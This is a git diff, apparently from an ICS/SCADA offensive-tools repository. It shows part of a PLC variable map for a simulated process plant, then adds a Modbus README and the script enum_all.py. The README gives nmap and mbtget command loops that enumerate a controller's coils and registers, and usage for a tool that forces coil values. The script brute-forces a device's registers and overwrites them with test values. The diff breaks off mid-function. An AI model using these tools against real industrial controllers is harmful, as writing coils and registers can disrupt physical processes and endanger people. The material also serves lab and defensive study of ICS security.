+340;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +343;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +346;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +347;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +348;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +349;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +350;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +353;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +354;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +355;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +356;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +357;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +358;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +359;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +360;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +361;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +362;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +363;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +364;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +367;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +369;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +370;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +371;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +372;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +373;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: 